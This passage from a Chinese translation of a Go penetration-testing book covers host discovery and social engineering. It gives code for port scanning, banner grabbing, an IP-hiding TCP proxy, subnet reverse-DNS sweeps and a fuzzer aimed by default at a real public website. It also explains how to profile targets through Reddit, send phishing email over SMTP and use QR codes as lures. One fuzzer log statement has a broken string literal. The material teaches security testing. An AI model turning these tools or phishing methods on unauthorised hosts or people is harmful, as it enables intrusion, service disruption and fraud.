Go-安全指南-四-

81 阅读47分钟

Go 安全指南(四)

原文:annas-archive.org/md5/7656fc72aaece258c02033b14e33ea12

译者:飞龙

协议:CC BY-NC-SA 4.0

第十一章:主机发现与枚举

主机发现是查找网络上主机的过程。如果你已经访问了一个私有网络中的机器,并且想查看该网络上还有哪些机器,进而开始收集网络的概况,这个过程就很有用。你也可以将整个互联网视作网络,寻找某些类型的主机,或者只查找任何主机。Ping 扫描和端口扫描是识别主机的常见技术。nmap 是用于此目的的常用工具。在本章中,我们将介绍 TCP 连接扫描和横幅抓取的基本端口扫描,这两者是 nmap 的最常见用例之一。我们还将讨论可以用来手动交互并探索服务器端口的原始套接字连接。

枚举是一个类似的概念,但它指的是主动检查特定机器,尽可能多地获取信息。这包括扫描服务器的端口以查看哪些端口开放,抓取横幅以检查服务,调用各种服务获取版本号,并通常搜索攻击向量。

主机发现与枚举是有效渗透测试中的关键步骤,因为如果你甚至不知道某台机器存在,你就无法对其进行利用。例如,如果攻击者只知道如何使用ping命令来查找主机,那么你只需要忽略 ping 请求,就能轻松将所有主机隐藏起来,防止攻击者发现。

主机发现与枚举需要与机器建立主动连接,这样会留下日志,可能触发警报,或者让你被注意到。有一些方法可以做到偷偷摸摸,比如只进行 TCP SYN 扫描,避免建立完整的 TCP 连接,或在连接时使用代理,虽然这样并不能完全隐藏你的存在,但会让你看起来像是从别的地方连接的。如果 IP 被封锁,使用代理隐藏你的 IP 会很有用,因为你可以轻松切换到新的代理。

本章还会简要介绍模糊测试,虽然只是触及了这个话题。模糊测试本身值得一章的内容,实际上,已经有整本书专门讨论这个主题。模糊测试在逆向工程或寻找漏洞时更为有用,但也可以用于获取有关服务的信息。例如,某个服务可能不会返回任何响应,这样你就无法了解它的用途,但如果你用错误数据进行模糊测试,并且它返回了错误信息,你可能会了解到它期望什么类型的输入。

本章我们将专门讨论以下主题:

  • TCP 与 UDP 套接字

  • 端口扫描

  • 横幅抓取

  • TCP 代理

  • 在网络上查找命名主机

  • 网络服务模糊测试

TCP 与 UDP 套接字

套接字是网络的构建块。服务器通过监听,客户端通过拨号来使用套接字绑定在一起并共享信息。互联网协议IP)层指定了机器的地址,但传输控制协议TCP)或用户数据报协议UDP)指定了应使用机器上的哪个端口。

两者之间的主要区别在于连接状态。TCP 保持连接并验证消息是否被接收,而 UDP 仅发送消息,而不接收来自远程主机的确认。

创建服务器

这是一个示例服务器。如果你想更改协议,可以将 net.Listen() 中的 tcp 参数改为 udp

package main

import (
   "net"
   "fmt"
   "log"
)

var protocol = "tcp" // tcp or udp
var listenAddress = "localhost:3000"

func main() {
   listener, err := net.Listen(protocol, listenAddress)
   if err != nil {
      log.Fatal("Error creating listener. ", err)
   }
   log.Printf("Now listening for connections.")

   for {
      conn, err := listener.Accept()
      if err != nil {
         log.Println("Error accepting connection. ", err)
      }
      go handleConnection(conn)
   }
}

func handleConnection(conn net.Conn) {
   incomingMessageBuffer := make([]byte, 4096)

   numBytesRead, err := conn.Read(incomingMessageBuffer)
   if err != nil {
      log.Print("Error reading from client. ", err)
   }

   fmt.Fprintf(conn, "Thank you. I processed %d bytes.\n", 
      numBytesRead)
} 

创建客户端

这个示例创建了一个简单的网络客户端,它将与前一个示例中的服务器一起工作。这个示例使用 TCP,但像 net.Listen() 一样,如果你想切换协议,只需在 net.Dial() 中将 tcp 换成 udp 即可:

package main

import (
   "net"
   "log"
)

var protocol = "tcp" // tcp or udp
var remoteHostAddress = "localhost:3000"

func main() {
   conn, err := net.Dial(protocol, remoteHostAddress)
   if err != nil {
      log.Fatal("Error creating listener. ", err)
   }
   conn.Write([]byte("Hello, server. Are you there?"))

   serverResponseBuffer := make([]byte, 4096)
   numBytesRead, err := conn.Read(serverResponseBuffer)
   if err != nil {
      log.Print("Error reading from server. ", err)
   }
   log.Println("Message recieved from server:")
   log.Printf("%s\n", serverResponseBuffer[0:numBytesRead])
} 

端口扫描

在网络上找到主机后,可能是通过执行 ping 扫描或监控网络流量,你通常会想要扫描端口,查看哪些端口是开放并接受连接的。通过查看哪些端口开放,你可以学到很多关于机器的信息。你可能能判断它是 Windows 还是 Linux,或者它是否托管着邮件服务器、Web 服务器、数据库服务器等。

端口扫描有很多种类型,但这个示例演示了最基础和直接的端口扫描示例,这是一个 TCP 连接扫描。它像典型的客户端一样连接,看看服务器是否接受请求。它不会发送或接收任何数据,并在成功时立即断开连接,记录是否成功。

以下示例只扫描本地主机,并将检查的端口限制在保留端口 0-1024 范围内。数据库服务器,如 MySQL,通常监听较高的端口,如 3306,因此你可能需要调整端口范围或使用预定义的常见端口列表。

每个 TCP 连接请求都会在单独的 goroutine 中执行,因此它们将并发运行,并且非常快速地完成。net.DialTimeout() 函数被用来设置我们愿意等待的最大时间:

package main

import (
   "strconv"
   "log"
   "net"
   "time"
)

var ipToScan = "127.0.0.1"
var minPort = 0
var maxPort = 1024

func main() {
   activeThreads := 0
   doneChannel := make(chan bool)

   for port := minPort; port <= maxPort ; port++ {
      go testTcpConnection(ipToScan, port, doneChannel)
      activeThreads++
   }

   // Wait for all threads to finish
   for activeThreads > 0 {
      <- doneChannel
      activeThreads--
   }
}

func testTcpConnection(ip string, port int, doneChannel chan bool) {
   _, err := net.DialTimeout("tcp", ip + ":" + strconv.Itoa(port), 
      time.Second*10)
   if err == nil {
      log.Printf("Port %d: Open\n", port)
   }
   doneChannel <- true
} 

从服务中抓取横幅

确定了开放的端口后,你可以尝试从连接中读取,看看服务是否提供了一个横幅或初始消息。

以下示例与之前类似,但与仅连接和断开连接不同,它将连接并尝试从服务器读取初始消息。如果服务器提供任何数据,它会被打印出来;但如果服务器没有发送任何数据,则什么也不会显示:

package main

import (
   "strconv"
   "log"
   "net"
   "time"
)

var ipToScan = "127.0.0.1"

func main() {
   activeThreads := 0
   doneChannel := make(chan bool)

   for port := 0; port <= 1024 ; port++ {
      go grabBanner(ipToScan, port, doneChannel)
      activeThreads++
   }

   // Wait for all threads to finish
   for activeThreads > 0 {
      <- doneChannel
      activeThreads--
   }
}

func grabBanner(ip string, port int, doneChannel chan bool) {
   connection, err := net.DialTimeout(
      "tcp", 
      ip + ":"+strconv.Itoa(port),  
      time.Second*10)
   if err != nil {
      doneChannel<-true
      return
   }

   // See if server offers anything to read
   buffer := make([]byte, 4096)
   connection.SetReadDeadline(time.Now().Add(time.Second*5)) 
   // Set timeout
   numBytesRead, err := connection.Read(buffer)
   if err != nil {
      doneChannel<-true
      return
   }
   log.Printf("Banner from port %d\n%s\n", port,
      buffer[0:numBytesRead])

   doneChannel <- true
} 

创建 TCP 代理

就像在第九章中的 HTTP 代理一样,Web 应用程序,TCP 级代理也可以用于调试、日志记录、流量分析和隐私保护。在进行端口扫描、主机发现和枚举时,代理可以帮助隐藏你的位置信息和源 IP 地址。你可能想隐藏你的来源位置,伪装身份,或者在执行请求时使用一个临时 IP,以防你因被列入黑名单而受阻。

以下例子将监听本地端口,将请求转发到远程主机,然后将远程服务器的响应返回给客户端。它还会记录所有请求。

你可以通过运行前一节中的服务器,并设置代理转发到该服务器,来测试这个代理。当回显服务器和代理服务器运行时,使用 TCP 客户端连接到代理服务器:

package main

import (
   "net"
   "log"
)

var localListenAddress = "localhost:9999"
var remoteHostAddress = "localhost:3000" // Not required to be remote

func main() {
   listener, err := net.Listen("tcp", localListenAddress)
   if err != nil {
      log.Fatal("Error creating listener. ", err)
   }

   for {
      conn, err := listener.Accept()
      if err != nil {
         log.Println("Error accepting connection. ", err)
      }
      go handleConnection(conn)
   }
}

// Forward the request to the remote host and pass response 
// back to client
func handleConnection(localConn net.Conn) {
   // Create remote connection that will receive forwarded data
   remoteConn, err := net.Dial("tcp", remoteHostAddress)
   if err != nil {
      log.Fatal("Error creating listener. ", err)
   }
   defer remoteConn.Close()

   // Read from the client and forward to remote host
   buf := make([]byte, 4096) // 4k buffer
   numBytesRead, err := localConn.Read(buf)
   if err != nil {
      log.Println("Error reading from client.", err)
   }
   log.Printf(
      "Forwarding from %s to %s:\n%s\n\n",
      localConn.LocalAddr(),
      remoteConn.RemoteAddr(),
      buf[0:numBytesRead],
   )
   _, err = remoteConn.Write(buf[0:numBytesRead])
   if err != nil {
      log.Println("Error writing to remote host. ", err)
   }

   // Read response from remote host and pass it back to our client
   buf = make([]byte, 4096)
   numBytesRead, err = remoteConn.Read(buf)
   if err != nil {
      log.Println("Error reading from remote host. ", err)
   }
   log.Printf(
      "Passing response back from %s to %s:\n%s\n\n",
      remoteConn.RemoteAddr(),
      localConn.LocalAddr(),
      buf[0:numBytesRead],
   )
   _, err = localConn.Write(buf[0:numBytesRead])
   if err != nil {
      log.Println("Error writing back to client.", err)
   }
}

在网络上查找命名的主机

如果你刚刚获得对一个网络的访问权限,首先可以做的事情之一就是了解网络上有哪些主机。你可以扫描子网上的所有 IP 地址,然后进行 DNS 查询,看看能否找到任何命名的主机。主机名可以具有描述性或信息性名称,从中可以得知服务器可能运行的服务。

默认情况下,纯 Go 解析器只能阻塞一个 goroutine,而不是系统线程,从而提高了一些效率。你可以通过设置环境变量显式指定 DNS 解析器:

export GODEBUG=netdns=go    # Use pure Go resolver (default)
export GODEBUG=netdns=cgo   # Use cgo resolver

这个例子查找子网中的所有可能主机,并尝试为每个 IP 解析主机名:

package main

import (
   "strconv"
   "log"
   "net"
   "strings"
)

var subnetToScan = "192.168.0" // First three octets

func main() {
   activeThreads := 0
   doneChannel := make(chan bool)

   for ip := 0; ip <= 255; ip++ {
      fullIp := subnetToScan + "." + strconv.Itoa(ip)
      go resolve(fullIp, doneChannel)
      activeThreads++
   }

   // Wait for all threads to finish
   for activeThreads > 0 {
      <- doneChannel
      activeThreads--
   }
}

func resolve(ip string, doneChannel chan bool) {
   addresses, err := net.LookupAddr(ip)
   if err == nil {
      log.Printf("%s - %s\n", ip, strings.Join(addresses, ", "))
   }
   doneChannel <- true
} 

对网络服务进行模糊测试

模糊测试是向应用程序发送故意构造的错误格式、过多或随机的数据,试图使其行为异常、崩溃或泄露敏感信息。你可以通过模糊测试识别缓冲区溢出漏洞,这可能导致远程代码执行。如果你发送特定大小的数据后导致应用程序崩溃或停止响应,可能是由于缓冲区溢出引起的。

有时,你可能仅仅是通过让服务使用过多内存或占用所有处理能力,导致服务拒绝。正则表达式以其极慢而著称,且可能在 Web 应用程序的 URL 路由机制中被滥用,消耗大量 CPU,尽管请求数很少。

非随机但格式错误的数据可能同样危险,甚至更为严重。一个适当格式错误的视频文件可能导致 VLC 崩溃并暴露代码执行漏洞。一个适当格式错误的数据包,改变 1 个字节,就可能导致敏感数据泄露,就像 Heartbleed OpenSSL 漏洞一样。

以下例子将演示一个非常基础的 TCP 模糊测试器。它向服务器发送长度逐渐增加的随机字节。它从 1 个字节开始,然后以 2 的幂指数增长。首先发送 1 个字节,然后是 2、4、8、16,继续发送,直到出现错误或达到最大配置限制。

调整maxFuzzBytes以设置发送到服务的最大数据大小。注意,它会同时启动所有线程,所以要小心服务器负载。查看响应中的异常或服务器的完全崩溃:

package main

import (
   "crypto/rand"
   "log"
   "net"
   "strconv"
   "time"
)

var ipToScan = "www.devdungeon.com"
var port = 80
var maxFuzzBytes = 1024

func main() {
   activeThreads := 0
   doneChannel := make(chan bool)

   for fuzzSize := 1; fuzzSize <= maxFuzzBytes; 
      fuzzSize = fuzzSize * 2 {
      go fuzz(ipToScan, port, fuzzSize, doneChannel)
      activeThreads++
   }

   // Wait for all threads to finish
   for activeThreads > 0 {
      <- doneChannel
      activeThreads--
   }
}

func fuzz(ip string, port int, fuzzSize int, doneChannel chan bool) {
   log.Printf("Fuzzing %d.\n", fuzzSize)

   conn, err := net.DialTimeout("tcp", ip + ":" + strconv.Itoa(port), 
      time.Second*10)
   if err != nil {
      log.Printf(
         "Fuzz of %d attempted. Could not connect to server. %s\n", 
         fuzzSize, 
         err,
      )
      doneChannel <- true
      return
   }

   // Write random bytes to server
   randomBytes := make([]byte, fuzzSize)
   rand.Read(randomBytes)
   conn.SetWriteDeadline(time.Now().Add(time.Second * 5))
   numBytesWritten, err := conn.Write(randomBytes)
   if err != nil { // Error writing
      log.Printf(
         "Fuzz of %d attempted. Could not write to server. %s\n", 
         fuzzSize,
         err,
      )
      doneChannel <- true
      return
   }
   if numBytesWritten != fuzzSize {
      log.Printf("Unable to write the full %d bytes.\n", fuzzSize)
   }
   log.Printf("Sent %d bytes:\n%s\n\n", numBytesWritten, randomBytes)

   // Read up to 4k back
   readBuffer := make([]byte, 4096)
   conn.SetReadDeadline(time.Now().Add(time.Second *5))
   numBytesRead, err := conn.Read(readBuffer)
   if err != nil { // Error reading
      log.Printf(
         "Fuzz of %d attempted. Could not read from server. %s\n", 
         fuzzSize,
         err,
      )
      doneChannel <- true
      return
   }

   log.Printf(
      "Sent %d bytes to server. Read %d bytes back:\n,
      fuzzSize,
      numBytesRead, 
   )
   log.Printf(
      "Data:\n%s\n\n",
      readBuffer[0:numBytesRead],
   )
   doneChannel <- true
} 

总结

阅读完本章后,你应该已经理解了主机发现和枚举的基本概念。你应该能够从高层次解释这些概念,并提供每个概念的基本示例。

首先,我们讨论了原始的 TCP 套接字,并通过一个简单的服务器和客户端的示例来说明。虽然这些示例本身并不是特别有用,但它们是构建与服务进行自定义交互的工具的模板。这在尝试指纹识别一个未识别的服务时会非常有帮助。

你现在应该知道如何运行一个简单的端口扫描,并理解为什么你可能需要进行端口扫描。你应该理解如何使用 TCP 代理及其所带来的好处。你应该理解横幅抓取的原理,并知道为什么它是收集信息的一个有用方法。

还有许多其他形式的枚举。在 Web 应用程序中,你可以枚举用户名、用户 ID、电子邮件等。例如,如果一个网站使用 URL 格式 www.example.com/user_profil…,你可以从数字 1 开始,并每次递增 1,遍历网站上所有的用户个人资料。其他形式的枚举包括 SNMP、DNS、LDAP 和 SMB。

你能想到其他什么形式的枚举?如果你已经是服务器上一个低权限用户,你能想到什么样的枚举?一旦你有了一个 shell,你想收集关于服务器的哪些信息?

一旦你进入服务器,你可以收集大量信息:用户名和用户组、主机名、网络设备信息、挂载的文件系统、正在运行的服务、iptables 设置、定时任务、启动服务等。有关获取机器访问权限后的更多信息,请参考第十三章,后期利用

在下一章,我们将讨论社会工程学,以及如何通过 JSON REST API 从网络收集情报、发送钓鱼邮件并生成二维码。我们还将介绍多个蜜罐的示例,包括 TCP 蜜罐和两种 HTTP 蜜罐的方法。

第十二章:社会工程学

社会工程学是指攻击者操纵或欺骗受害者执行某些操作或提供私人信息。这通常通过冒充受信任的人、制造紧迫感或构造虚假理由迫使受害者行动。受害者的行动可能是简单的信息泄露,也可能是更复杂的操作,如下载并执行恶意软件。

本章讨论了蜜罐,尽管它们有时是为了欺骗机器人而非人类。其目标是故意进行欺骗,这正是社会工程学的核心。我们提供了基本的蜜罐示例,包括 TCP 和 HTTP 蜜罐。

本书未涉及许多其他类型的社会工程学。这包括一些现场或面对面的情况,比如尾随进入和冒充维修人员,以及其他数字和远程方法,如电话、短信和社交媒体消息。

社会工程学在法律上可能是一个灰色地带。例如,即使公司授权你对其员工进行社会工程学攻击,也不代表你有权限进行网络钓鱼攻击以窃取员工个人邮件的凭证。要注意法律和道德的边界。

在本章中,我们将特别讨论以下主题:

  • 使用 Reddit 的 JSON REST API 收集关于个人的信息

  • 使用 SMTP 发送网络钓鱼邮件

  • 生成二维码和将图像进行 base64 编码

  • 蜜罐

通过 JSON REST API 收集信息

带有 JSON 的 REST 已成为 Web API 的事实标准接口。每个 API 都不同,因此本示例的主要目的是展示如何处理来自 REST 端点的 JSON 数据。

本示例将 Reddit 用户名作为参数,并打印该用户的最新帖子和评论,以了解他们讨论的话题。选择 Reddit 作为示例是因为某些端点不需要认证,便于测试。其他提供 REST API 的服务,如 Twitter 和 LinkedIn,也可以用于收集信息。

请记住,本示例的重点是提供一个解析来自 REST 端点的 JSON 示例。由于每个 API 都不同,因此此示例应作为编写自己的程序与 JSON API 交互时的参考。必须定义一个数据结构来匹配 JSON 端点的响应。在本例中,创建的数据结构与 Reddit 的响应匹配。

在 Go 中处理 JSON 时,你首先需要定义数据结构,然后使用 MarshalUnmarshal 函数在原始字符串和结构化数据格式之间进行编码和解码。以下示例创建了一个与 Reddit 返回的 JSON 结构匹配的数据结构。然后使用 Unmarshal 函数将字符串转换为 Go 数据对象。你不需要为 JSON 中的每一项数据创建变量,可以省略不需要的字段。

JSON 响应中的数据嵌套了许多层级,因此我们将使用匿名结构体。这可以避免我们为每个嵌套层级创建一个单独命名的类型。这个示例创建了一个命名结构体,所有嵌套层级都作为嵌入的匿名结构体存储。

Go 数据结构中的变量名与 JSON 响应中提供的变量名不匹配,因此在结构体定义的数据类型后面提供了 JSON 变量名。这允许将变量从 JSON 数据正确映射到 Go 结构体中。这通常是必要的,因为 Go 数据结构中的变量名是区分大小写的。

请注意,每个网站服务都有自己的服务条款,这些条款可能限制或约束你访问其网站的方式。有些网站禁止抓取,其他网站则有访问频率限制。虽然这可能不是刑事犯罪,但服务提供商可能会因违反服务条款而封锁你的账户或 IP 地址。在与任何网站或 API 互动之前,一定要阅读其服务条款。

这个示例的代码如下:

package main

import (
   "encoding/json"
   "fmt"
   "io/ioutil"
   "log"
   "net/http"
   "os"
   "time"
)

// Define the structure of the JSON response
// The json variable names are specified on
// the right since they do not match the
// struct variable names exactly
type redditUserJsonResponse struct {
   Data struct {
      Posts []struct { // Posts & comments
         Data struct {
            Subreddit  string  `json:"subreddit"`
            Title      string  `json:"link_title"`
            PostedTime float32 `json:"created_utc"`
            Body       string  `json:"body"`
         } `json:"data"`
      } `json:"children"`
   } `json:"data"`
}

func printUsage() {
   fmt.Println(os.Args[0] + ` - Print recent Reddit posts by a user

Usage: ` + os.Args[0] + ` <username>
Example: ` + os.Args[0] + ` nanodano
`)
}

func main() {
   if len(os.Args) != 2 {
      printUsage()
      os.Exit(1)
   }
   url := "https://www.reddit.com/user/" + os.Args[1] + ".json"

   // Make HTTP request and read response
   response, err := http.Get(url)
   if err != nil {
      log.Fatal("Error making HTTP request. ", err)
   }
   defer response.Body.Close()
   body, err := ioutil.ReadAll(response.Body)
   if err != nil {
      log.Fatal("Error reading HTTP response body. ", err)
   }

   // Decode response into data struct
   var redditUserInfo redditUserJsonResponse
   err = json.Unmarshal(body, &redditUserInfo)
   if err != nil {
      log.Fatal("Error parson JSON. ", err)
   }

   if len(redditUserInfo.Data.Posts) == 0 {
      fmt.Println("No posts found.")
      fmt.Printf("Response Body: %s\n", body)
   }

   // Iterate through all posts found
   for _, post := range redditUserInfo.Data.Posts {
      fmt.Println("Subreddit:", post.Data.Subreddit)
      fmt.Println("Title:", post.Data.Title)
      fmt.Println("Posted:", time.Unix(int64(post.Data.PostedTime), 
         0))
      fmt.Println("Body:", post.Data.Body)
      fmt.Println("========================================")
   }
} 

通过 SMTP 发送钓鱼邮件

钓鱼攻击是指攻击者通过伪造的电子邮件或其他旨在看起来像来自可信来源的合法电子邮件的通讯方式,试图获取敏感信息的过程。

钓鱼攻击通常通过电子邮件进行,但也可以通过电话、社交媒体或短信进行。我们将重点讨论电子邮件方法。钓鱼攻击可以大规模进行,通常会向大量收件人发送一封通用的电子邮件,希望有人会上当。尼日利亚王子邮件骗局曾是一个流行的钓鱼攻击。其他提供奖励的邮件也很常见且相对有效,例如提供 iPhone 赠品或礼品卡,只要他们参与并点击你提供的链接并使用他们的凭据登录。钓鱼邮件还常常模仿合法发件人,使用真实的签名和公司徽标。通常会制造紧迫感,以说服受害者迅速行动,而不按标准程序操作。

你可以使用第十章中网页抓取的程序来收集电子邮件,该程序可以从网页中提取电子邮件。将电子邮件提取功能与提供的网页爬虫示例结合起来,你就可以得到一个强大的工具,用于从域名中抓取电子邮件。

定向钓鱼攻击是指针对少数目标,甚至可能是某个特定目标的钓鱼攻击。定向钓鱼需要更多的研究和定位,定制一封针对个人的电子邮件,创造一个可信的借口,或许还会冒充他们认识的人。定向钓鱼需要更多的工作,但它提高了欺骗用户的可能性,并降低了被垃圾邮件过滤器拦截的风险。

在进行网络钓鱼攻击时,你应该在制作邮件之前首先收集尽可能多的目标信息。本章早些时候提到过,使用 JSON REST API 来收集目标数据。如果你的目标个人或组织有网站,你还可以使用第十章中提到的词频计数程序和标题抓取程序,网页抓取。收集一个网站最常见的词汇和标题是快速了解目标所属行业或他们可能提供的产品和服务的方式。

Go 标准库包含一个用于发送邮件的 SMTP 包。Go 还提供了一个net/mail包用于解析邮件(golang.org/pkg/net/mail/)。mail包相对较小,本书中未涉及,但它允许你将邮件的完整文本解析为一个消息类型,从而可以单独提取正文和头部信息。这个示例专注于如何使用 SMTP 包发送邮件。

配置变量都在源代码的顶部定义。请确保设置正确的 SMTP 主机、端口、发件人和密码。常见的 SMTP 端口是 25 用于未加密访问,端口 465587 常用于加密访问。具体设置取决于你的 SMTP 服务器配置。此示例在没有先设置正确的服务器和凭据时无法正常运行。如果你有 Gmail 账户,可以重用大部分自动填充的值,只需要替换发件人和密码即可。

如果你使用 Gmail 发送邮件并启用了两步验证,你需要在security.google.com/settings/security/apppasswords 创建一个特定的应用密码。如果你没有使用两步验证,那么请在myaccount.google.com/lesssecureapps 启用不太安全的应用程序。

这个程序会创建并发送两封示例邮件,一封是文本邮件,另一封是 HTML 邮件。还可以发送一个合并的文本和 HTML 邮件,在这种情况下,邮件客户端会选择渲染哪个版本。可以使用Content-Type头设置为multipart/alternative,并设置边界来区分文本邮件和 HTML 邮件的起始和结束。发送合并的文本和 HTML 邮件不在此处讨论,但值得一提。你可以在www.w3.org/Protocols/rfc1341/7_2_Multipart.html了解更多关于multipart内容类型的知识,RFC 1341

Go 还提供了一个 template 包,允许你创建一个包含变量占位符的模板文件,然后用结构体中的数据填充这些占位符。如果你希望将模板文件与源代码分离,模板就非常有用,这样你可以在不重新编译应用程序的情况下修改模板。以下示例没有使用模板,但你可以在 golang.org/pkg/text/template/ 阅读更多关于模板的内容:

package main

import (
   "log"
   "net/smtp"
   "strings"
)

var (
   smtpHost   = "smtp.gmail.com"
   smtpPort   = "587"
   sender     = "sender@gmail.com"
   password   = "SecretPassword"
   recipients = []string{
      "recipient1@example.com",
      "recipient2@example.com",
   }
   subject = "Subject Line"
)

func main() {
   auth := smtp.PlainAuth("", sender, password, smtpHost)

   textEmail := []byte(
      `To: ` + strings.Join(recipients, ", ") + `
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8";
Subject: ` + subject + `

Hello,

This is a plain text email.
`)

   htmlEmail := []byte(
      `To: ` + strings.Join(recipients, ", ") + `
Mime-Version: 1.0
Content-Type: text/html; charset="UTF-8";
Subject: ` + subject + `

<html>
<h1>Hello</h1>
<hr />
<p>This is an <strong>HTML</strong> email.</p>
</html>
`)

   // Send text version of email
   err := smtp.SendMail(
      smtpHost+":"+smtpPort,
      auth,
      sender,
      recipients,
      textEmail,
   )
   if err != nil {
      log.Fatal(err)
   }

   // Send HTML version
   err = smtp.SendMail(
      smtpHost+":"+smtpPort,
      auth,
      sender,
      recipients,
      htmlEmail,
   )
   if err != nil {
      log.Fatal(err)
   }
}

生成二维码

快速响应QR)码是一种二维条形码。它存储的信息比传统的一维条形码要多。二维码最初是由日本汽车工业开发的,但已经被其他行业采纳。二维码于 2000 年被 ISO 批准为国际标准。最新的规范可以在 www.iso.org/standard/62021.html 找到。

二维码可以在一些广告牌、海报、传单和其他广告材料上找到。二维码也常常用于交易中。你可能会在火车票上看到二维码,或者在发送和接收加密货币(如比特币)时使用二维码。一些身份验证服务,如双因素身份验证,也使用二维码以便于操作。

二维码对社交工程非常有用,因为人类无法仅凭外观判断二维码是否恶意。二维码通常包含一个立即加载的网址,这让用户面临风险。如果你创建一个可信的前提,可能会说服用户信任这个二维码。

本示例中使用的包叫做 go-qrcode,可以在 github.com/skip2/go-qrcode 上找到。它是一个第三方库,托管在 GitHub 上,并非由 Google 或 Go 团队提供支持。go-qrcode 包利用了标准库的图像包:imageimage/colorimage/png

使用以下命令安装 go-qrcode 包:

go get github.com/skip2/go-qrcode/...

go get 中的省略号(...)是一个通配符,它会安装所有子包。

根据包作者的说法,二维码的最大容量取决于编码的内容和错误恢复级别。最大容量为 2,953 字节、4,296 个字母数字字符、7,089 个数字字符,或它们的组合。

本程序展示了两个主要的内容。首先是如何生成二维码,以原始 PNG 字节的形式,然后将要嵌入 HTML 页面的数据进行 Base64 编码。生成完整的 HTML img 标签,并作为输出传递到标准输出,可以直接复制粘贴到 HTML 页面中。第二部分展示了如何简单地生成二维码并将其直接写入文件。

这个示例生成一个 PNG 图像格式的二维码。让我们提供你想要编码的文本和输出文件名作为命令行参数,程序将输出带有编码数据的二维码图像:

package main 

import (
   "encoding/base64"
   "fmt"
   "github.com/skip2/go-qrcode"
   "log"
   "os"
)

var (
   pngData        []byte
   imageSize      = 256 // Length and width in pixels
   err            error
   outputFilename string
   dataToEncode   string
)

// Check command line arguments. Print usage
// if expected arguments are not present
func checkArgs() {
   if len(os.Args) != 3 {
      fmt.Println(os.Args[0] + `

Generate a QR code. Outputs a PNG file in <outputFilename>.
Also outputs an HTML img tag with the image base64 encoded to STDOUT.

 Usage: ` + os.Args[0] + ` <outputFilename> <data>
 Example: ` + os.Args[0] + ` qrcode.png https://www.devdungeon.com`)
      os.Exit(1)
   }
   // Because these variables were above, at the package level
   // we don't have to return them. The same variables are
   // already accessible in the main() function
   outputFilename = os.Args[1]
   dataToEncode = os.Args[2]
}

func main() {
   checkArgs()

   // Generate raw binary data for PNG
   pngData, err = qrcode.Encode(dataToEncode, qrcode.Medium, 
      imageSize)
   if err != nil {
      log.Fatal("Error generating QR code. ", err)
   }

   // Encode the PNG data with base64 encoding
   encodedPngData := base64.StdEncoding.EncodeToString(pngData)

   // Output base64 encoded image as HTML image tag to STDOUT
   // This img tag can be embedded in an HTML page
   imgTag := "<img src=\"data:image/png;base64," + 
      encodedPngData + "\"/>"
   fmt.Println(imgTag) // For use in HTML

   // Generate and write to file with one function
   // This is a standalone function. It can be used by itself
   // without any of the above code
   err = qrcode.WriteFile(
      dataToEncode,
      qrcode.Medium,
      imageSize,
      outputFilename,
   )
   if err != nil {
      log.Fatal("Error generating QR code to file. ", err)
   }
} 

Base64 编码数据

在前面的示例中,二维码是经过 base64 编码的。由于这是一个常见任务,因此值得介绍如何进行编码和解码。每当需要将二进制数据作为字符串存储或传输时,base64 编码非常有用。

这个示例展示了一个非常简单的用例,演示如何对字节切片进行编码和解码。进行 base64 编码和解码的两个重要函数是 EncodeToString()DecodeString()

package main

import (
   "encoding/base64"
   "fmt"
   "log"
)

func main() {
   data := []byte("Test data")

   // Encode bytes to base64 encoded string.
   encodedString := base64.StdEncoding.EncodeToString(data)
   fmt.Printf("%s\n", encodedString)

   // Decode base64 encoded string to bytes.
   decodedData, err := base64.StdEncoding.DecodeString(encodedString)
   if err != nil {
      log.Fatal("Error decoding data. ", err)
   }
   fmt.Printf("%s\n", decodedData)
} 

Honeypots

Honeypots 是你设置的假服务,用来捕捉攻击者。你故意设置一个服务,目的是引诱攻击者,让他们误以为这个服务是真实的,并且包含某种敏感信息。通常,honeypot 会伪装成一个旧的、过时的且容易受到攻击的服务器。可以将日志记录或警报附加到 honeypot 上,以便快速识别潜在攻击者。在你的内部网络上设置 honeypot,可能会在任何系统被攻破之前就发现攻击者。

当攻击者攻破一台机器时,他们通常会利用这台被攻破的机器继续枚举、攻击和跳转。如果你的网络中的 honeypot 检测到来自网络中其他机器的异常行为,如端口扫描或登录尝试,这台表现异常的机器可能已经被攻破。

Honeypot 有许多不同种类。它可以是任何东西,从一个简单的 TCP 监听器,用来记录任何连接,一个带有登录表单字段的假 HTML 页面,或者一个完整的 Web 应用程序,看起来像是一个真实的员工门户。如果攻击者认为他们已经找到了一个关键应用程序,他们更可能花时间试图获取访问权限。如果你设置了诱人的 honeypot,可能会让攻击者花费大部分时间在一个无用的 honeypot 上。如果记录了详细的日志,你可以了解攻击者使用了哪些方法、他们拥有哪些工具,甚至可能知道他们的位置。

还有几种其他类型的 honeypot 值得一提,但在本书中没有演示:

  • SMTP honeypot:这模拟了一个开放的电子邮件中继,垃圾邮件发送者滥用它来捕捉试图使用你的邮件系统的垃圾邮件发送者。

  • Web 爬虫 honeypot:这些是隐藏的网页,通常不打算被人访问,但它们的链接隐藏在你网站的公共区域,如 HTML 注释中,用来捕捉蜘蛛、爬虫和抓取器。

  • 数据库 honeypot:这是一个假数据库或真实数据库,通过详细的日志记录来检测攻击者,也可能包含假数据,以便观察攻击者对哪些信息感兴趣。

  • Honeynet:这是一个充满 honeypot 的整个网络,看起来像一个真实的网络,甚至可以自动化或伪造客户端流量到 honeypot 服务,以模拟真实用户。

攻击者可能能够识别出明显的蜜罐服务并避开它们。我建议你选择两个极端中的一个:让蜜罐尽可能模拟真实服务,或者让服务成为一个完全的黑箱,不向攻击者透露任何信息。

本节我们介绍一些非常基础的示例,帮助你理解蜜罐的概念,并为你提供创建自己定制蜜罐的模板。首先,展示了一个基础的 TCP 套接字蜜罐。它将监听一个端口,并记录任何连接和接收到的数据。为了配合这个示例,提供了一个 TCP 测试工具。它像一个原始版本的 Netcat,允许你通过标准输入向服务器发送单个消息。这可以用来测试 TCP 蜜罐,或者扩展并用于其他应用程序。最后一个示例是一个 HTTP 蜜罐。它提供一个登录表单,记录身份验证尝试,但总是返回错误。

确保你理解在网络中使用蜜罐的风险。如果你让蜜罐继续运行而没有保持底层操作系统的更新,那么你可能会给你的网络带来真正的风险。

TCP 蜜罐

我们将开始的最简单的蜜罐是一个 TCP 蜜罐。它将记录收到的任何 TCP 连接和从客户端接收到的任何数据。

